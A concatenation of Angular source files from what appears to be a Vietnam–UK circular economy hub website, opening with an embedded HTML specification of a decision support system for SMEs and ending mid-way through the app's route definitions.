Vs Effort<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><u><span lang="EN-GB" style="font-size:12.0pt;line-height:150%;font-family:"Times New Roman",serif">Component
1: Home Page<o:p></o:p></span></u></b></p>
<p class="MsoNormal" style="line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif;color:#0070C0">User Story [derived
from Agile Project Management]: </span></b><b><span lang="EN-GB" style="font-family:"Times New Roman",serif"><br>
</span></b><i><span lang="EN-GB" style="font-family:"Times New Roman",serif">As an
Industry user, I need some information about DSS, so that I am able to
understand what are the benefits to my organisation, how my data will be stored
and used, and how will HE academics support adoption of CE practices within my
organisation</span></i><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif;color:#0070C0">WHAT <o:p></o:p></span></b></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l8 level1 lfo5"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Home
page of the web-based decision support system <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l8 level1 lfo5"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Users
will land on this page<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l8 level1 lfo5"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">This
page will be integrated to the HUB website<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif;color:#0070C0">CONTENT<o:p></o:p></span></b></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l9 level1 lfo6"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Description
of the project <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l9 level1 lfo6"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Information
about the model <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l9 level1 lfo6"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Benefits
for SMEs<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l9 level1 lfo6"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Videos
from project Team<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l9 level1 lfo6"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Text
and Video on what data will be collected, how it will be used and why it is
being used <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l9 level1 lfo6"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Data
storage, security, anonymity and confidentiality statement<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><u><span lang="EN-GB" style="font-size:12.0pt;line-height:150%;font-family:"Times New Roman",serif">Component
2: Digitizing the Model<o:p></o:p></span></u></b></p>
<p class="MsoNormal" style="line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif;color:#0070C0">User Story [derived
from Agile Project Management]: </span></b><b><span lang="EN-GB" style="font-family:"Times New Roman",serif"><br>
</span></b><i><span lang="EN-GB" style="font-family:"Times New Roman",serif">As an
Industry user, I should be able to input information pertaining to my current
organisational practices and economic situation, so that the system can
automatically process the input information to provide a summary of my current practices,
CE maturity and recommendations</span></i><span lang="EN-GB" style="font-family:
"Times New Roman",serif"><o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">WHAT <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l3 level1 lfo8"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Users/SMEs
to answer a series of questions <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l3 level1 lfo8"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Questions
will be based on the following conceptual model [See Figure 2], which is being
validated through surveys with SMEs practitioners in Vietnam<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span style="font-family:"Times New Roman",serif;mso-ansi-language:EN-US;mso-no-proof:
yes"><!--[if gte vml 1]><v:shape id="Picture_x0020_3" o:spid="_x0000_i1026"
type="#_x0000_t75" style='width:433.5pt;height:245.25pt;visibility:visible;
mso-wrap-style:square'>
<v:imagedata src="assets/images/image003.png" o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><img width="578" height="327" src="assets/images/image004.png" v:shapes="Picture_x0020_3"><!--[endif]--></span><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">Figure 2: Model which is
currently being validated through surveys. H represents hypothesis, colour
coding is not significant, and meant to differentiate constructs for strategic
alignment.<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">CONTENT<o:p></o:p></span></b></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l14 level1 lfo9"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Questions<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l14 level1 lfo9"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Interactive
web-based forms <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l14 level1 lfo9"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Interactive
elements like radio buttons<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l14 level1 lfo9"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Progress
bar at each page<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l14 level1 lfo9"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Data
will be confidentially and securely stored in the database server, where HUB is
being hosted<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l14 level1 lfo9"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Anonymity
of the data will be ensured by using pseudo anonymous IDs<span style="mso-spacerun:yes"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><u><span lang="EN-GB" style="font-size:12.0pt;line-height:150%;font-family:"Times New Roman",serif">Component
3: Data Summary <o:p></o:p></span></u></b></p>
<p class="MsoNormal" style="line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif;color:#0070C0">User Story [derived
from Agile Project Management]: </span></b><b><span lang="EN-GB" style="font-family:"Times New Roman",serif"><br>
</span></b><i><span lang="EN-GB" style="font-family:"Times New Roman",serif">As an
Industry user, I should be able to view a summary of my data input, so that I
am able to strategize CE practices and understand the current gap in knowledge
in my organisation.<span style="mso-spacerun:yes"> </span></span></i><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">WHAT [Visualization
Dashboard]</span></b><span lang="EN-GB" style="font-family:"Times New Roman",serif">
– Understanding the Business<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l10 level1 lfo10"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Based
on the data input by the user/SMEs, the system will show<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l10 level1 lfo10"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Where
the company ranks in the maturity model <o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l10 level2 lfo10"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">[rule-based
output]<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="margin-left:1.0in;mso-add-space:auto;
text-indent:-.25in;line-height:150%;mso-list:l10 level2 lfo10"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">An
overview of the company’s performance for each construct <br>
[shown using simple graphs]<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">Note: To further discuss
and receive free consultation + recommendations, they should sign up in the
system<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><u><span lang="EN-GB" style="font-size:12.0pt;line-height:150%;font-family:"Times New Roman",serif">Component
4. Recommendations <o:p></o:p></span></u></b></p>
<p class="MsoNormal" style="line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif;color:#0070C0">User Story [derived
from Agile Project Management]: </span></b><b><span lang="EN-GB" style="font-family:"Times New Roman",serif"><br>
</span></b><i><span lang="EN-GB" style="font-family:"Times New Roman",serif">As an
Industry user, I should be able to view a summary of<span style="mso-spacerun:yes"> </span>recommendations based on my current
performance and predicted impact on my business performance after employing the
recommendations, so that I am able to understand the relevance, usefulness and
predicted performance for my organisation and the role of HE partnership to
achieve CE sustainable performance.<span style="mso-spacerun:yes"> </span><o:p></o:p></span></i></p>
<p class="MsoNormal" style="line-height:150%"><i><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></i></p>
<p class="MsoNormal" style="line-height:150%"><span lang="EN-GB" style="font-family:
"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">WHAT [Analytics] –
Predictive and Prescriptive<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpFirst" style="text-align:justify;text-indent:-.25in;
line-height:150%;mso-list:l12 level1 lfo11"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Based
on the data input by the user/SMEs, the system will show<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l12 level2 lfo11"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">The
performance of the business compared to other businesses in the sector<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="margin-left:1.0in;mso-add-space:auto;
text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l12 level2 lfo11"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:"Courier New";mso-fareast-font-family:"Courier New""><span style="mso-list:Ignore">o<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Comparative
map with businesses [anonymous] extracted from our survey <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">CONTENT<o:p></o:p></span></p>
<p class="MsoNormal" style="margin-left:.5in;text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Recommendations for the
business<o:p></o:p></span></b></p>
<p class="MsoListParagraphCxSpFirst" style="margin-left:1.0in;mso-add-space:auto;
text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l7 level1 lfo12"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Which
areas they score low and why<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l7 level1 lfo12"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Recommendations
for improvement [rule-based]<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l7 level1 lfo12"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Machine
learning-based algorithms will be used for predictive and prescriptive
analytics<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left:1.0in;mso-add-space:
auto;text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l7 level1 lfo12"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Interactive
visualisation dashboard, allowing the user to filter information and extract
information, depending on their needs<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="margin-left:1.0in;mso-add-space:auto;
text-align:justify;text-indent:-.25in;line-height:150%;mso-list:l7 level1 lfo12"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Free
consultation with HE practitioners.<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">The perceived impact of
the components is shown in Figure 2<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span style="font-family:"Times New Roman",serif;mso-ansi-language:EN-US;mso-no-proof:
yes"><!--[if gte vml 1]><v:shape id="Picture_x0020_4" o:spid="_x0000_i1025"
type="#_x0000_t75" style='width:371.25pt;height:277.5pt;visibility:visible;
mso-wrap-style:square'>
<v:imagedata src="assets/images/image005.png" o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><img width="495" height="370" src="assets/images/image006.png" v:shapes="Picture_x0020_4"><!--[endif]--></span><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">Figure 2: Mapping Effort
Vs Impact<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Implementation Timeline [including
testing and evaluation with SMEs]<o:p></o:p></span></b></p>
<p class="MsoListParagraphCxSpFirst" style="text-indent:-.25in;line-height:150%;
mso-list:l11 level1 lfo13"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Components
1 and 2 – 20 December 2020, assuming start date 20 November 2020<br>
System will go live on 01 January 2021.<o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="text-indent:-.25in;line-height:150%;
mso-list:l11 level1 lfo13"><!--[if !supportLists]--><span lang="EN-GB" style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:
Symbol"><span style="mso-list:Ignore">·<span style="font:7.0pt "Times New Roman"">
</span></span></span><!--[endif]--><span lang="EN-GB" style="font-family:"Times New Roman",serif">Components
3 and 4 – 14 February 2020<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></b></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Ownership<o:p></o:p></span></b></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">The IP (ownership) will
be shared between Vietnamese and UK institution, and will abide by the IP rules
and regulations of the funding body (as advised by the IP teams in our
respective organisations), and has been formally signed through the
collaboration agreement (at the start of this project). If necessary, the
collaboration agreement will be revised (in line with the advice from the
funding body).<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><span style="mso-spacerun:yes"> </span><b>Post Project<o:p></o:p></b></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">The DSS is a part of the
virtual hub (already proposed in the project), and will be available to use for
the SMEs and HE academics (in Vietnam), during and after the completion of the
project. The HUB will be managed by Vietnamese project team and co-managed by
the UK team, after the project completion, to ensure SMEs in Vietnam benefit
from the project deliverables (outputs) and systematically employ CE practices,
through close collaboration between industry and academia. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><b><span lang="EN-GB" style="font-family:"Times New Roman",serif">Estimated expenses. <o:p></o:p></span></b></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif">This output will be
sub-contracted (in line with the funding body regulations, i.e. 20% of the
total funding can be used for this purpose by the UK team). The expenses
towards travel won’t be used, and therefore we propose a part of those expenses
to be used for developing the DSS. We have obtained quotations from more than
two sub-contractors (based on the specification, timeline of implementation and
requirements of the project), and the estimated cost will be in the £15, 500,
including 20% VAT. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><span style="mso-spacerun:yes"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%"><span lang="EN-GB" style="font-family:"Times New Roman",serif"><o:p> </o:p></span></p>
</div>`
}
<file_sep>import { Component, OnInit, OnDestroy } from '@angular/core';
import { ActivatedRoute } from '@angular/router';
@Component({
selector: 'app-container',
templateUrl: './container.component.html',
styleUrls: ['./container.component.scss']
})
export class ContainerComponent {
constructor(route: ActivatedRoute) {
this.menus = route.snapshot.data['menu']
}
menus: Array<any>
}
<file_sep>declare interface Localize {
[key: string]: {
vi: string | number
en: string | number
}
}
<file_sep>import { Injectable } from '@angular/core';
import { NgbModal } from '@ng-bootstrap/ng-bootstrap';
@Injectable()
export class ModalService {
constructor(private modal: NgbModal) {
}
shown(component) {
return this.modal.open(component, {
})
}
}
<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { NgModule, NO_ERRORS_SCHEMA } from '@angular/core';
import { CommonModule } from '@angular/common';
import { HTTP_INTERCEPTORS, HttpClientModule } from '@angular/common/http';
import { ServicesModule } from '../services'
import { PIPES } from '../pipes';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { COMPONENTS } from './components';
import { PAGES } from './pages';
import { DIALOGS } from './dialogs';
import { DIRECTIVES } from './directives'
import { APIS } from './apis'
import { RESOLVERS } from './resolvers';
import {
SwiperModule, SwiperConfigInterface,
SWIPER_CONFIG
} from 'ngx-swiper-wrapper';
import { NgbModule } from '@ng-bootstrap/ng-bootstrap';
import { FormsModule } from '@angular/forms';
const DEFAULT_SWIPER_CONFIG: SwiperConfigInterface = {
observer: true,
direction: 'horizontal',
threshold: 50,
spaceBetween: 0,
slidesPerView: 1,
centeredSlides: false,
autoplay: true
};
@NgModule({
declarations: [
AppComponent,
...COMPONENTS,
...PAGES,
...PIPES,
...DIRECTIVES,
...DIALOGS,
],
imports: [
SwiperModule,
BrowserModule,
FormsModule,
CommonModule,
AppRoutingModule,
ServicesModule.forRoot(),
HttpClientModule,
NgbModule
],
providers: [...APIS, ...RESOLVERS, {
provide: SWIPER_CONFIG,
useValue: DEFAULT_SWIPER_CONFIG
}],
bootstrap: [AppComponent],
schemas: [
NO_ERRORS_SCHEMA
]
})
export class AppModule { }
<file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import {
HomeComponent,
EventsComponent,
EventComponent,
PublicationsComponent,
PublicationComponent,
ProjectsComponent,
ProjectComponent,
PostsComponent,
PostComponent,
ContactComponent,
ContainerComponent,
DecisionSupportComponent,
SearchCategoryComponent
} from './pages';
import { EducationComponent } from './pages/education/education.component';
import { EducationsComponent } from './pages/educations/educations.component';
import {
MenuResolve,
PublicationPostResolve,
BannerResolve,
EventPostsResolve,
PublicationPostsResolve,
ProjectPostsResolve,
ProjectPostResolve,
EducationPostsResolve,
EducationPostResolve,
EventPostResolve,
EventHomeDataResolve,
NewsPostResolve,
NewsPostsResolve,
NewsCategoryResolve
} from './resolvers';
const routes: Routes = [
{
path: '',
component: ContainerComponent,
resolve: {
menu: MenuResolve,
},
children: [
{
path: '',
component: HomeComponent,
resolve: {
data: BannerResolve,
events: EventHomeDataResolve,
},
},
{
path: 'su-kien',
component: EventsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: EventPostsResolve
}
},
{
path: 'su-kien/:code',
component: EventsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: EventPostsResolve
}
},
{
path: 'ho-tro-quyet-dinh',
component: DecisionSupportComponent,
},
{
path: 'su-kien/bai-viet/:code',
runGuardsAndResolvers: 'always',
component: EventComponent,
resolve: {
post: EventPostResolve
}
},
{
path: 'xuat-ban',
component: PublicationsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: PublicationPostsResolve
}
},
{
path: 'xuat-ban/:code',
component: PublicationsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: PublicationPostsResolve
}
},
{
path: 'xuat-ban/bai-viet/:code',
component: PublicationComponent,
runGuardsAndResolvers: 'always',
resolve: {
post: PublicationPostResolve
}
},
{
path: 'du-an',
component: ProjectsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: ProjectPostsResolve
}
},
{
path: 'du-an/:code',
component: ProjectsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: ProjectPostsResolve
}
},
{
path: 'du-an/bai-viet/:code',
component: ProjectComponent,
runGuardsAndResolvers: 'always',
resolve: {
post: ProjectPostResolve
}
},
{
path: 'dao-tao',
component: EducationsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: EducationPostsResolve
}
},
{
path: 'dao-tao/:code',
component: EducationsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: EducationPostsResolve
}
},
{
path: 'dao-tao/bai-viet/:code',
component: EducationComponent,
runGuardsAndResolvers: 'always',
resolve: {
post: EducationPostResolve
}
},
{
path: 'tin-tuc',
component: PostsComponent,
